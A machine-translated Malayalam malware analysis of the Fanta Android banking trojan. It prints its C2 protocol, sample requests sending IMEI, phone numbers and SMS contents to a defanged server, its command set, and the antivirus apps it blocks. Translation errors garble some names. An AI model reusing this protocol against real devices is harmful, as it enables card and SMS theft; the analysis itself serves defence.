ബാങ്ക് കാർഡുകളെക്കുറിച്ചുള്ള വിവരങ്ങളുടെ ശേഖരണമാണ് ഫാന്റയുടെ പ്രവർത്തനങ്ങളിലൊന്ന്. ബാങ്കിംഗ് ആപ്ലിക്കേഷനുകൾ തുറക്കുമ്പോൾ ഫിഷിംഗ് വിൻഡോകൾ സൃഷ്ടിക്കുന്നതിലൂടെയാണ് ഡാറ്റ ശേഖരണം നടക്കുന്നത്. ട്രോജൻ ഒരു തവണ മാത്രമേ ഫിഷിംഗ് വിൻഡോ സൃഷ്ടിക്കുകയുള്ളൂ. ഉപയോക്താവിന് വിൻഡോ കാണിച്ച വിവരം ഒരു പട്ടികയിൽ സംഭരിച്ചിരിക്കുന്നു ക്രമീകരണങ്ങൾ ഡാറ്റാബേസിൽ fanta.db. ഒരു ഡാറ്റാബേസ് സൃഷ്ടിക്കുന്നതിന്, ഇനിപ്പറയുന്ന SQL അന്വേഷണം ഉപയോഗിക്കുക:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

എല്ലാ ടേബിൾ ഫീൽഡുകളും ക്രമീകരണങ്ങൾ സ്ഥിരസ്ഥിതിയായി 1 ലേക്ക് സമാരംഭിച്ചു (ഒരു ഫിഷിംഗ് വിൻഡോ സൃഷ്ടിക്കുക). ഉപയോക്താവ് അവരുടെ ഡാറ്റ നൽകിയ ശേഷം, മൂല്യം 0 ആയി സജ്ജീകരിക്കും. പട്ടിക ഫീൽഡുകളുടെ ഉദാഹരണം ക്രമീകരണങ്ങൾ:

• കഴിയും_ലോഗിൻ - ഒരു ബാങ്കിംഗ് ആപ്ലിക്കേഷൻ തുറക്കുമ്പോൾ ഫോം പ്രദർശിപ്പിക്കുന്നതിന് ഫീൽഡ് ഉത്തരവാദിയാണ്
• ആദ്യ_ബാങ്ക് - ഉപയോഗിച്ചിട്ടില്ല
• can_avito - Avito ആപ്ലിക്കേഷൻ തുറക്കുമ്പോൾ ഫോം പ്രദർശിപ്പിക്കുന്നതിന് ഫീൽഡ് ഉത്തരവാദിയാണ്
• കഴിയും_അലി - Aliexpress ആപ്ലിക്കേഷൻ തുറക്കുമ്പോൾ ഫോം പ്രദർശിപ്പിക്കുന്നതിന് ഫീൽഡ് ഉത്തരവാദിയാണ്
• കഴിയും_മറ്റൊരു - ലിസ്റ്റിൽ നിന്ന് ഏതെങ്കിലും ആപ്ലിക്കേഷൻ തുറക്കുമ്പോൾ ഫോം പ്രദർശിപ്പിക്കുന്നതിന് ഫീൽഡ് ഉത്തരവാദിയാണ്: യുല, പാണ്ടാവോ, ഡ്രം ഓട്ടോ, വാലറ്റ്. ഡിസ്കൗണ്ടും ബോണസ് കാർഡുകളും, Aviasales, ബുക്കിംഗ്, Trivago
• can_card - തുറക്കുമ്പോൾ ഫോം പ്രദർശിപ്പിക്കുന്നതിന് ഫീൽഡ് ഉത്തരവാദിയാണ് Google പ്ലേ

മാനേജ്മെന്റ് സെർവറുമായുള്ള ഇടപെടൽ

മാനേജ്മെന്റ് സെർവറുമായുള്ള നെറ്റ്‌വർക്ക് ഇടപെടൽ HTTP പ്രോട്ടോക്കോൾ വഴിയാണ് സംഭവിക്കുന്നത്. നെറ്റ്‌വർക്കിനൊപ്പം പ്രവർത്തിക്കാൻ, ഫാന്റ ജനപ്രിയ റെട്രോഫിറ്റ് ലൈബ്രറി ഉപയോഗിക്കുന്നു. അഭ്യർത്ഥനകൾ ഇതിലേക്ക് അയച്ചു: hXXp://onuseseddohap[.]club/controller.php. സെർവറിൽ രജിസ്റ്റർ ചെയ്യുമ്പോൾ സെർവർ വിലാസം മാറ്റാവുന്നതാണ്. സെർവറിൽ നിന്നുള്ള പ്രതികരണമായി കുക്കികൾ അയച്ചേക്കാം. ഫാന്റ സെർവറിനോട് ഇനിപ്പറയുന്ന അഭ്യർത്ഥനകൾ നടത്തുന്നു:

• കൺട്രോൾ സെർവറിൽ ബോട്ടിന്റെ രജിസ്ട്രേഷൻ ഒരു തവണ സംഭവിക്കുന്നു, ആദ്യ ലോഞ്ച് ചെയ്യുമ്പോൾ. രോഗം ബാധിച്ച ഉപകരണത്തെക്കുറിച്ചുള്ള ഇനിപ്പറയുന്ന ഡാറ്റ സെർവറിലേക്ക് അയച്ചു:
  · കുക്കി - സെർവറിൽ നിന്ന് ലഭിച്ച കുക്കികൾ (സ്ഥിര മൂല്യം ഒരു ശൂന്യമായ സ്ട്രിംഗ് ആണ്)
  · മോഡ് - സ്ട്രിംഗ് സ്ഥിരം register_bot
  · പ്രിഫിക്‌സ് - പൂർണ്ണസംഖ്യ സ്ഥിരാങ്കം 2
  · version_sdk - ഇനിപ്പറയുന്ന ടെംപ്ലേറ്റ് അനുസരിച്ച് രൂപീകരിച്ചിരിക്കുന്നു: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
  · IMEI - രോഗബാധിതമായ ഉപകരണത്തിന്റെ IMEI
  · രാജ്യം — ഓപ്പറേറ്റർ രജിസ്റ്റർ ചെയ്തിട്ടുള്ള രാജ്യത്തിന്റെ കോഡ്, ISO ഫോർമാറ്റിൽ
  · അക്കം - ഫോൺ നമ്പർ
  · ഓപ്പറേറ്റർ - ഓപ്പറേറ്ററുടെ പേര്

  സെർവറിലേക്ക് അയച്ച ഒരു അഭ്യർത്ഥനയുടെ ഉദാഹരണം:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 144
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
  

  അഭ്യർത്ഥനയ്ക്കുള്ള പ്രതികരണമായി, സെർവർ ഇനിപ്പറയുന്ന പാരാമീറ്ററുകൾ അടങ്ങിയ ഒരു JSON ഒബ്‌ജക്റ്റ് തിരികെ നൽകണം:
  · ബോട്ട്_ഐഡി - രോഗം ബാധിച്ച ഉപകരണത്തിന്റെ ഐഡി. bot_id 0-ന് തുല്യമാണെങ്കിൽ, ഫാന്റ അഭ്യർത്ഥന വീണ്ടും നിർവ്വഹിക്കും.
  bot_pwd — സെർവറിനുള്ള പാസ്വേഡ്.
  സെർവർ - സെർവർ വിലാസം നിയന്ത്രിക്കുക. ഓപ്ഷണൽ പാരാമീറ്റർ. പരാമീറ്റർ വ്യക്തമാക്കിയിട്ടില്ലെങ്കിൽ, ആപ്ലിക്കേഷനിൽ സംരക്ഷിച്ചിരിക്കുന്ന വിലാസം ഉപയോഗിക്കും.

  ഉദാഹരണം JSON ഒബ്ജക്റ്റ്:

  {
      "response":[
     	 {
     		 "bot_id": <%BOT_ID%>,
     		 "bot_pwd": <%BOT_PWD%>,
     		 "server": <%SERVER%>
     	 }
      ],
      "status":"ok"
  }

• സെർവറിൽ നിന്ന് ഒരു കമാൻഡ് ലഭിക്കാൻ അഭ്യർത്ഥിക്കുക. ഇനിപ്പറയുന്ന ഡാറ്റ സെർവറിലേക്ക് അയച്ചു:
  · കുക്കി - സെർവറിൽ നിന്ന് ലഭിച്ച കുക്കികൾ
  · ബിഡ് - അഭ്യർത്ഥന അയയ്ക്കുമ്പോൾ ലഭിച്ച രോഗബാധിതമായ ഉപകരണത്തിന്റെ ഐഡി register_bot
  · പിഡബ്ല്യുഡി - സെർവറിനുള്ള പാസ്‌വേഡ്
  · divice_admin - അഡ്മിനിസ്ട്രേറ്റർ അവകാശങ്ങൾ ലഭിച്ചിട്ടുണ്ടോ എന്ന് ഫീൽഡ് നിർണ്ണയിക്കുന്നു. അഡ്മിനിസ്ട്രേറ്റർ അവകാശങ്ങൾ ലഭിച്ചിട്ടുണ്ടെങ്കിൽ, ഫീൽഡ് തുല്യമാണ് 1, അല്ലാത്തപക്ഷം 0
  · പ്രവേശനക്ഷമത - പ്രവേശനക്ഷമത സേവന പ്രവർത്തന നില. സേവനം ആരംഭിച്ചെങ്കിൽ, മൂല്യം 1, അല്ലാത്തപക്ഷം 0
  · എസ്എംഎസ് മാനേജർ — SMS സ്വീകരിക്കുന്നതിനുള്ള ഡിഫോൾട്ട് ആപ്ലിക്കേഷനായി ട്രോജൻ പ്രവർത്തനക്ഷമമാക്കിയിട്ടുണ്ടോ എന്ന് കാണിക്കുന്നു
  · സ്ക്രീൻ - സ്ക്രീൻ ഏത് അവസ്ഥയിലാണെന്ന് കാണിക്കുന്നു. മൂല്യം നിശ്ചയിക്കും 1, സ്ക്രീൻ ഓണാണെങ്കിൽ, അല്ലെങ്കിൽ 0;

  സെർവറിലേക്ക് അയച്ച ഒരു അഭ്യർത്ഥനയുടെ ഉദാഹരണം:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

  കമാൻഡിനെ ആശ്രയിച്ച്, സെർവറിന് വ്യത്യസ്ത പാരാമീറ്ററുകളുള്ള ഒരു JSON ഒബ്‌ജക്റ്റ് തിരികെ നൽകാനാകും:

  · ടീം SMS സന്ദേശം അയയ്‌ക്കുക: പാരാമീറ്ററുകളിൽ ഫോൺ നമ്പർ, SMS സന്ദേശത്തിന്റെ വാചകം, അയച്ച സന്ദേശത്തിന്റെ ഐഡി എന്നിവ അടങ്ങിയിരിക്കുന്നു. തരം ഉപയോഗിച്ച് സെർവറിലേക്ക് ഒരു സന്ദേശം അയയ്ക്കുമ്പോൾ ഐഡന്റിഫയർ ഉപയോഗിക്കുന്നു setSmsStatus.

  {
      "response":
      [
     	 {
     		 "mode": 0,
     		 "sms_number": <%SMS_NUMBER%>,
     		 "sms_text": <%SMS_TEXT%>,
     		 "sms_id": %SMS_ID%
     	 }
      ],
      "status":"ok"
  }

  · ടീം ഒരു ഫോൺ കോൾ അല്ലെങ്കിൽ USSD കമാൻഡ് ചെയ്യുക: ഫോൺ നമ്പർ അല്ലെങ്കിൽ കമാൻഡ് പ്രതികരണ ബോഡിയിൽ വരുന്നു.

  {
      "response":
      [
     	 {
     		 "mode": 1,
     		 "command": <%TEL_NUMBER%>
     	 }
      ],
      "status":"ok"
  }

  · ടീം ഇടവേള പരാമീറ്റർ മാറ്റുക.

  {
      "response":
      [
     	 {
     		 "mode": 2,
     		 "interval": <%SECONDS%>
     	 }
      ],
      "status":"ok"
  }

  · ടീം ഇന്റർസെപ്റ്റ് പാരാമീറ്റർ മാറ്റുക.

  {
      "response":
      [
     	 {
     		 "mode": 3,
     		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
     	 }
      ],
      "status":"ok"
  }

  · ടീം SmsManager ഫീൽഡ് മാറ്റുക.

  {
      "response":
      [
     	 {
     		 "mode": 6,
     		 "enable": 0/1
     	 }
      ],
      "status":"ok"
  }

  · ടീം രോഗം ബാധിച്ച ഉപകരണത്തിൽ നിന്ന് SMS സന്ദേശങ്ങൾ ശേഖരിക്കുക.

  {
      "response":
      [
     	 {
     		 "mode": 9
     	 }
      ],
      "status":"ok"
  }

  · ടീം നിങ്ങളുടെ ഫോൺ ഫാക്ടറി ക്രമീകരണത്തിലേക്ക് റീസെറ്റ് ചെയ്യുക:

  {
      "response":
      [
     	 {
     		 "mode": 11
     	 }
      ],
      "status":"ok"
  }

  · ടീം ReadDialog പരാമീറ്റർ മാറ്റുക.

  {
      "response":
      [
     	 {
     		 "mode": 12,
     		 "enable": 0/1
     	 }
      ],
      "status":"ok"
  }

• തരം ഉപയോഗിച്ച് ഒരു സന്ദേശം അയയ്ക്കുന്നു setSmsStatus. കമാൻഡ് എക്സിക്യൂട്ട് ചെയ്തതിന് ശേഷമാണ് ഈ അഭ്യർത്ഥന നടത്തുന്നത് SMS സന്ദേശം അയയ്‌ക്കുക. അഭ്യർത്ഥന ഇതുപോലെ കാണപ്പെടുന്നു:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

• ഡാറ്റാബേസ് ഉള്ളടക്കങ്ങൾ അപ്‌ലോഡ് ചെയ്യുന്നു. ഓരോ അഭ്യർത്ഥനയ്ക്കും ഒരു വരി കൈമാറുന്നു. ഇനിപ്പറയുന്ന ഡാറ്റ സെർവറിലേക്ക് അയച്ചു:
  · കുക്കി - സെർവറിൽ നിന്ന് ലഭിച്ച കുക്കികൾ
  · മോഡ് - സ്ട്രിംഗ് സ്ഥിരം setSaveInboxSms
  · ബിഡ് - അഭ്യർത്ഥന അയയ്ക്കുമ്പോൾ ലഭിച്ച രോഗബാധിതമായ ഉപകരണത്തിന്റെ ഐഡി register_bot
  · ടെക്സ്റ്റ് — നിലവിലെ ഡാറ്റാബേസ് റെക്കോർഡിലെ വാചകം (ഫീൽഡ് d മേശയിൽ നിന്ന് രേഖകൾ ഡാറ്റാബേസിൽ а)
  · അക്കം — നിലവിലെ ഡാറ്റാബേസ് റെക്കോർഡിന്റെ പേര് (ഫീൽഡ് p മേശയിൽ നിന്ന് രേഖകൾ ഡാറ്റാബേസിൽ а)
  · എസ്എംഎസ്_മോഡ് - പൂർണ്ണസംഖ്യ മൂല്യം (ഫീൽഡ് m മേശയിൽ നിന്ന് രേഖകൾ ഡാറ്റാബേസിൽ а)

  അഭ്യർത്ഥന ഇതുപോലെ കാണപ്പെടുന്നു:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

  സെർവറിലേക്ക് വിജയകരമായി അയച്ചാൽ, പട്ടികയിൽ നിന്ന് വരി ഇല്ലാതാക്കപ്പെടും. സെർവർ നൽകിയ JSON ഒബ്‌ജക്‌റ്റിന്റെ ഉദാഹരണം:

  {
      "response":[],
      "status":"ok"
  }

പ്രവേശനക്ഷമത സേവനവുമായി സംവദിക്കുന്നു

വികലാംഗർക്ക് ആൻഡ്രോയിഡ് ഉപകരണങ്ങൾ ഉപയോഗിക്കാൻ എളുപ്പമാക്കുന്നതിനാണ് പ്രവേശനക്ഷമത സേവനം നടപ്പിലാക്കിയത്. മിക്ക കേസുകളിലും, ഒരു ആപ്ലിക്കേഷനുമായി സംവദിക്കാൻ ശാരീരിക ഇടപെടൽ ആവശ്യമാണ്. ആക്‌സസിബിലിറ്റി സർവീസ് അവ പ്രോഗ്രാമാറ്റിക് ആയി ചെയ്യാൻ നിങ്ങളെ അനുവദിക്കുന്നു. ബാങ്കിംഗ് ആപ്ലിക്കേഷനുകളിൽ വ്യാജ വിൻഡോകൾ സൃഷ്ടിക്കാനും സിസ്റ്റം ക്രമീകരണങ്ങളും ചില ആപ്ലിക്കേഷനുകളും തുറക്കുന്നതിൽ നിന്ന് ഉപയോക്താക്കളെ തടയാനും ഫാന്റ സേവനം ഉപയോഗിക്കുന്നു.

ആക്‌സസിബിലിറ്റി സർവീസിന്റെ പ്രവർത്തനക്ഷമത ഉപയോഗിച്ച്, രോഗബാധിതമായ ഉപകരണത്തിന്റെ സ്‌ക്രീനിലെ ഘടകങ്ങളിലേക്കുള്ള മാറ്റങ്ങൾ ട്രോജൻ നിരീക്ഷിക്കുന്നു. മുമ്പ് വിവരിച്ചതുപോലെ, ഡയലോഗ് ബോക്സുകൾ ഉപയോഗിച്ച് ലോഗിംഗ് പ്രവർത്തനങ്ങൾക്ക് ഉത്തരവാദിത്തമുള്ള ഒരു പാരാമീറ്റർ ഫാന്റ ക്രമീകരണങ്ങളിൽ അടങ്ങിയിരിക്കുന്നു - ഡയലോഗ് വായിക്കുക. ഈ പാരാമീറ്റർ സജ്ജീകരിച്ചിട്ടുണ്ടെങ്കിൽ, ഇവന്റ് പ്രവർത്തനക്ഷമമാക്കിയ പാക്കേജിന്റെ പേരും വിവരണവും സംബന്ധിച്ച വിവരങ്ങൾ ഡാറ്റാബേസിലേക്ക് ചേർക്കും. ഇവന്റുകൾ ട്രിഗർ ചെയ്യുമ്പോൾ ട്രോജൻ ഇനിപ്പറയുന്ന പ്രവർത്തനങ്ങൾ ചെയ്യുന്നു:

• ഇനിപ്പറയുന്ന സന്ദർഭങ്ങളിൽ ബാക്ക്, ഹോം കീകൾ അമർത്തുന്നത് അനുകരിക്കുന്നു:
  · ഉപയോക്താവിന് അവന്റെ ഉപകരണം റീബൂട്ട് ചെയ്യണമെങ്കിൽ
  · ഉപയോക്താവിന് "Avito" ആപ്ലിക്കേഷൻ ഇല്ലാതാക്കാനോ ആക്സസ് അവകാശങ്ങൾ മാറ്റാനോ താൽപ്പര്യമുണ്ടെങ്കിൽ
  · പേജിൽ "Avito" ആപ്ലിക്കേഷന്റെ പരാമർശം ഉണ്ടെങ്കിൽ
  · Google Play Protect ആപ്പ് തുറക്കുമ്പോൾ
  · പ്രവേശനക്ഷമത സേവന ക്രമീകരണങ്ങൾ ഉപയോഗിച്ച് പേജുകൾ തുറക്കുമ്പോൾ
  · സിസ്റ്റം സെക്യൂരിറ്റി ഡയലോഗ് ബോക്സ് ദൃശ്യമാകുമ്പോൾ
  · "Draw over other app" ക്രമീകരണങ്ങൾ ഉപയോഗിച്ച് പേജ് തുറക്കുമ്പോൾ
  · "അപ്ലിക്കേഷനുകൾ" പേജ് തുറക്കുമ്പോൾ, "വീണ്ടെടുക്കലും പുനഃസജ്ജമാക്കലും", "ഡാറ്റ റീസെറ്റ്", "ക്രമീകരണങ്ങൾ പുനഃസജ്ജമാക്കുക", "ഡെവലപ്പർ പാനൽ", "പ്രത്യേകം. അവസരങ്ങൾ", "പ്രത്യേക അവസരങ്ങൾ", "പ്രത്യേക അവകാശങ്ങൾ"
  · ഇവന്റ് ചില ആപ്ലിക്കേഷനുകൾ സൃഷ്ടിച്ചതാണെങ്കിൽ.

  അപേക്ഷകളുടെ ലിസ്റ്റ്

  • ആൻഡ്രോയിഡ്
  • മാസ്റ്റർ ലൈറ്റ്
  • ക്ലീൻ മാസ്റ്റർ
  • x86 സിപിയുവിനുള്ള ക്ലീൻ മാസ്റ്റർ
  • Meizu ആപ്ലിക്കേഷൻ പെർമിഷൻ മാനേജ്മെന്റ്
  • MIUI സുരക്ഷ
  • ക്ലീൻ മാസ്റ്റർ - ആന്റിവൈറസ് & കാഷെ, ഗാർബേജ് ക്ലീനർ
  • രക്ഷാകർതൃ നിയന്ത്രണങ്ങളും GPS: Kaspersky SafeKids
  • Kaspersky Antivirus AppLock & Web Security Beta
  • വൈറസ് ക്ലീനർ, ആന്റിവൈറസ്, ക്ലീനർ (MAX സെക്യൂരിറ്റി)
  • മൊബൈൽ ആന്റിവൈറസ് സുരക്ഷാ PRO
  • അവാസ്റ്റ് ആന്റിവൈറസും സ protection ജന്യ പരിരക്ഷണവും 2019
  • മൊബൈൽ സെക്യൂരിറ്റി മെഗാഫോൺ
  • എക്സ്പീരിയയ്ക്കുള്ള AVG സംരക്ഷണം
  • മൊബൈൽ സുരക്ഷ
  • മാൽ‌വെയർ‌ബൈറ്റുകൾ‌ ആന്റിവൈറസും പരിരക്ഷണവും
  • Android 2019-നുള്ള ആന്റിവൈറസ്
  • സുരക്ഷാ മാസ്റ്റർ - ആന്റിവൈറസ്, വിപിഎൻ, ആപ്പ്ലോക്ക്, ബൂസ്റ്റർ
  • Huawei ടാബ്‌ലെറ്റ് സിസ്റ്റം മാനേജറിനായുള്ള AVG ആന്റിവൈറസ്
  • സാംസങ് പ്രവേശനക്ഷമത
  • സാംസങ് സ്മാർട്ട് മാനേജർ
  • സുരക്ഷാ മാസ്റ്റർ
  • സ്പീഡ് ബൂസ്റ്റർ
  • ഡോ
  • ഡോ. വെബ് സെക്യൂരിറ്റി സ്പേസ്
  • ഡോ.വെബ് മൊബൈൽ നിയന്ത്രണ കേന്ദ്രം
  • Dr.Web Security Space Life
  • ഡോ.വെബ് മൊബൈൽ നിയന്ത്രണ കേന്ദ്രം
  • ആന്റിവൈറസും മൊബൈൽ സുരക്ഷയും
  • കാസ്‌പെർസ്‌കി ഇന്റർനെറ്റ് സുരക്ഷ: ആന്റിവൈറസും പരിരക്ഷണവും
  • Kaspersky ബാറ്ററി ലൈഫ്: സേവർ & ബൂസ്റ്റർ
  • Kaspersky Endpoint Security - സംരക്ഷണവും മാനേജ്മെന്റും
  • AVG ആന്റിവൈറസ് സ 2019 ജന്യ XNUMX - Android- നായുള്ള പരിരക്ഷ
  • ആന്റിവൈറസ് Android
  • നോർട്ടൺ മൊബൈൽ സുരക്ഷയും ആന്റിവൈറസും
  • ആന്റിവൈറസ്, ഫയർവാൾ, വിപിഎൻ, മൊബൈൽ സുരക്ഷ
  • മൊബൈൽ സുരക്ഷ: ആന്റിവൈറസ്, വിപിഎൻ, മോഷണ സംരക്ഷണം
  • ആൻഡ്രോയിഡിനുള്ള ആന്റിവൈറസ്

• ഒരു ചെറിയ നമ്പറിലേക്ക് ഒരു SMS സന്ദേശം അയയ്‌ക്കുമ്പോൾ അനുമതി അഭ്യർത്ഥിച്ചാൽ, ചെക്ക്‌ബോക്‌സിൽ ക്ലിക്കുചെയ്യുന്നത് ഫാന്റ അനുകരിക്കുന്നു തിരഞ്ഞെടുക്കൽ ഓർക്കുക ബട്ടണും അയയ്‌ക്കുക.
• നിങ്ങൾ ട്രോജനിൽ നിന്ന് അഡ്മിനിസ്ട്രേറ്റർ അവകാശങ്ങൾ എടുത്തുകളയാൻ ശ്രമിക്കുമ്പോൾ, അത് ഫോൺ സ്ക്രീൻ ലോക്ക് ചെയ്യുന്നു.
• പുതിയ അഡ്മിനിസ്ട്രേറ്റർമാരെ ചേർക്കുന്നത് തടയുന്നു.
• ആന്റിവൈറസ് ആപ്ലിക്കേഷൻ ആണെങ്കിൽ dr.web ഒരു ഭീഷണി കണ്ടെത്തി, ബട്ടൺ അമർത്തുന്നത് ഫാന്റ അനുകരിക്കുന്നു അവഗണിക്കുക.
• ആപ്ലിക്കേഷൻ വഴിയാണ് ഇവന്റ് സൃഷ്ടിച്ചതെങ്കിൽ, ബാക്ക്, ഹോം ബട്ടൺ അമർത്തുന്നത് ട്രോജൻ അനുകരിക്കുന്നു സാംസങ് ഡിവൈസ് കെയർ.
• ഏകദേശം 30 വ്യത്യസ്‌ത ഇന്റർനെറ്റ് സേവനങ്ങളുടെ ഒരു ലിസ്റ്റിൽ നിന്ന് ഒരു അപ്ലിക്കേഷൻ സമാരംഭിച്ചാൽ, ബാങ്ക് കാർഡുകളെക്കുറിച്ചുള്ള വിവരങ്ങൾ നൽകുന്നതിനുള്ള ഫോമുകളുള്ള ഫിഷിംഗ് വിൻഡോകൾ ഫാന്റ സൃഷ്‌ടിക്കുന്നു. അവയിൽ: AliExpress, ബുക്കിംഗ്, Avito, Google Play Market Component, Pandao, Drom Auto മുതലായവ.
  

  ഫിഷിംഗ് രൂപങ്ങൾ

  രോഗബാധിതമായ ഉപകരണത്തിൽ ഏതൊക്കെ ആപ്ലിക്കേഷനുകളാണ് പ്രവർത്തിക്കുന്നതെന്ന് ഫാന്റ വിശകലനം ചെയ്യുന്നു. താൽപ്പര്യമുള്ള ഒരു ആപ്ലിക്കേഷൻ തുറന്നിട്ടുണ്ടെങ്കിൽ, ട്രോജൻ എല്ലാറ്റിനും മുകളിൽ ഒരു ഫിഷിംഗ് വിൻഡോ പ്രദർശിപ്പിക്കുന്നു, ഇത് ബാങ്ക് കാർഡ് വിവരങ്ങൾ നൽകുന്നതിനുള്ള ഒരു ഫോമാണ്. ഉപയോക്താവ് ഇനിപ്പറയുന്ന ഡാറ്റ നൽകണം:

  • കാർഡ് നമ്പർ
  • കാർഡ് കാലഹരണ തീയതി
  • സിവിവി
  • കാർഡ് ഉടമയുടെ പേര് (എല്ലാ ബാങ്കുകൾക്കുമുള്ളതല്ല)

  പ്രവർത്തിക്കുന്ന ആപ്ലിക്കേഷനെ ആശ്രയിച്ച്, വ്യത്യസ്ത ഫിഷിംഗ് വിൻഡോകൾ പ്രദർശിപ്പിക്കും. അവയിൽ ചിലതിന്റെ ഉദാഹരണങ്ങൾ ചുവടെ:

  അലിഎക്സ്പ്രസ്:

  
  അവിറ്റോ:

  
  മറ്റ് ചില ആപ്ലിക്കേഷനുകൾക്ക്, ഉദാ. Google Play Market, Aviasales, Pandao, Booking, Trivago:
  

  അത് ശരിക്കും എങ്ങനെയായിരുന്നു
  

  ഭാഗ്യവശാൽ, ലേഖനത്തിന്റെ തുടക്കത്തിൽ വിവരിച്ച SMS സന്ദേശം ലഭിച്ച വ്യക്തി ഒരു സൈബർ സുരക്ഷാ സ്പെഷ്യലിസ്റ്റായി മാറി. അതിനാൽ, യഥാർത്ഥ, സംവിധായകനല്ലാത്ത പതിപ്പ് നേരത്തെ പറഞ്ഞതിൽ നിന്ന് വ്യത്യസ്തമാണ്: ഒരു വ്യക്തിക്ക് രസകരമായ ഒരു SMS ലഭിച്ചു, അതിനുശേഷം അദ്ദേഹം അത് ഗ്രൂപ്പ്-ഐബി ത്രെറ്റ് ഹണ്ടിംഗ് ഇന്റലിജൻസ് ടീമിന് നൽകി. ആക്രമണത്തിന്റെ ഫലമാണ് ഈ ലേഖനം. സന്തോഷകരമായ അന്ത്യം, അല്ലേ? എന്നിരുന്നാലും, എല്ലാ കഥകളും അത്ര വിജയകരമായി അവസാനിക്കുന്നില്ല, അതിനാൽ നിങ്ങളുടേത് പണനഷ്ടമുള്ള ഒരു സംവിധായകന്റെ കട്ട് പോലെ കാണപ്പെടാതിരിക്കാൻ, മിക്ക കേസുകളിലും ഇനിപ്പറയുന്ന ദീർഘമായി വിവരിച്ച നിയമങ്ങൾ പാലിച്ചാൽ മതിയാകും:

  • Android OS ഉള്ള ഒരു മൊബൈൽ ഉപകരണത്തിനായി Google Play ഒഴികെയുള്ള ഉറവിടങ്ങളിൽ നിന്ന് അപ്ലിക്കേഷനുകൾ ഇൻസ്റ്റാൾ ചെയ്യരുത്
  • ഒരു ആപ്ലിക്കേഷൻ ഇൻസ്റ്റാൾ ചെയ്യുമ്പോൾ, ആപ്ലിക്കേഷൻ ആവശ്യപ്പെടുന്ന അവകാശങ്ങളിൽ പ്രത്യേക ശ്രദ്ധ നൽകുക
  • ഡൗൺലോഡ് ചെയ്ത ഫയലുകളുടെ വിപുലീകരണങ്ങൾ ശ്രദ്ധിക്കുക
  • Android OS അപ്ഡേറ്റുകൾ പതിവായി ഇൻസ്റ്റാൾ ചെയ്യുക
  • സംശയാസ്പദമായ ഉറവിടങ്ങൾ സന്ദർശിക്കരുത്, അവിടെ നിന്ന് ഫയലുകൾ ഡൗൺലോഡ് ചെയ്യരുത്
  • SMS സന്ദേശങ്ങളിൽ ലഭിക്കുന്ന ലിങ്കുകളിൽ ക്ലിക്ക് ചെയ്യരുത്.

അവലംബം: www.habr.com